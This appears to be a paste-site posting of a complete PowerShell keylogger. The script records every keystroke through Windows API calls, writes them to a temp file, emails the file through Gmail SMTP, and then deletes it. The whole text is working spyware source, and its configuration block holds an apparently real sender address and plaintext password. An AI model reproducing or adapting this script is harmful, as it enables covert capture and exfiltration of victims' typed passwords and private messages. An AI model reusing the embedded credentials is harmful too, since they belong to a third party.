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Jan 14th, 2020
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  1. # Editar solo esta sección!
  2. $TimeToRun = 2
  3. $From = "gcarloatr712@gmail.com"
  4. $Pass = "5483643snaider"
  5. $To = "User2@gmail.com"
  6. $Subject = "Keylogger Results"
  7. $body = "Keylogger Results"
  8. $SMTPServer = "smtp.gmail.com"
  9. $SMTPPort = "587"
  10. $credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
  11. ############################
  12.  
  13.  
  14. $TimeStart = Get-Date
  15. $TimeEnd = $timeStart.addminutes($TimeToRun)
  16.  
  17. #requires -Version 2
  18. function Start-KeyLogger($Path="$env:temp\keylogger.txt")
  19. {
  20. # Signatures for API Calls
  21. $signatures = @'
  22. [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
  23. public static extern short GetAsyncKeyState(int virtualKeyCode);
  24. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  25. public static extern int GetKeyboardState(byte[] keystate);
  26. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  27. public static extern int MapVirtualKey(uint uCode, int uMapType);
  28. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  29. public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
  30. '@
  31.  
  32. # load signatures and make members available
  33. $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
  34.  
  35. # create output file
  36. $null = New-Item -Path $Path -ItemType File -Force
  37.  
  38. try
  39. {
  40.  
  41. # create endless loop. When user presses CTRL+C, finally-block
  42. # executes and shows the collected key presses
  43. while ($TimeEnd -ge $TimeNow) {
  44. Start-Sleep -Milliseconds 40
  45.  
  46. # scan all ASCII codes above 8
  47. for ($ascii = 9; $ascii -le 254; $ascii++) {
  48. # get current key state
  49. $state = $API::GetAsyncKeyState($ascii)
  50.  
  51. # is key pressed?
  52. if ($state -eq -32767) {
  53. $null = [console]::CapsLock
  54.  
  55. # translate scan code to real code
  56. $virtualKey = $API::MapVirtualKey($ascii, 3)
  57.  
  58. # get keyboard state for virtual keys
  59. $kbstate = New-Object Byte[] 256
  60. $checkkbstate = $API::GetKeyboardState($kbstate)
  61.  
  62. # prepare a StringBuilder to receive input key
  63. $mychar = New-Object -TypeName System.Text.StringBuilder
  64.  
  65. # translate virtual key
  66. $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
  67.  
  68. if ($success)
  69. {
  70. # add key to logger file
  71. [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
  72. }
  73. }
  74. }
  75. $TimeNow = Get-Date
  76. }
  77. }
  78. finally
  79. {
  80. # open logger file in Notepad
  81. send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
  82. Remove-Item -Path $Path -force
  83. exit 1
  84. }
  85. }
  86.  
  87. # records all key presses until script is aborted by pressing CTRL+C
  88. # will then open the file with collected key codes
  89. Start-KeyLogger
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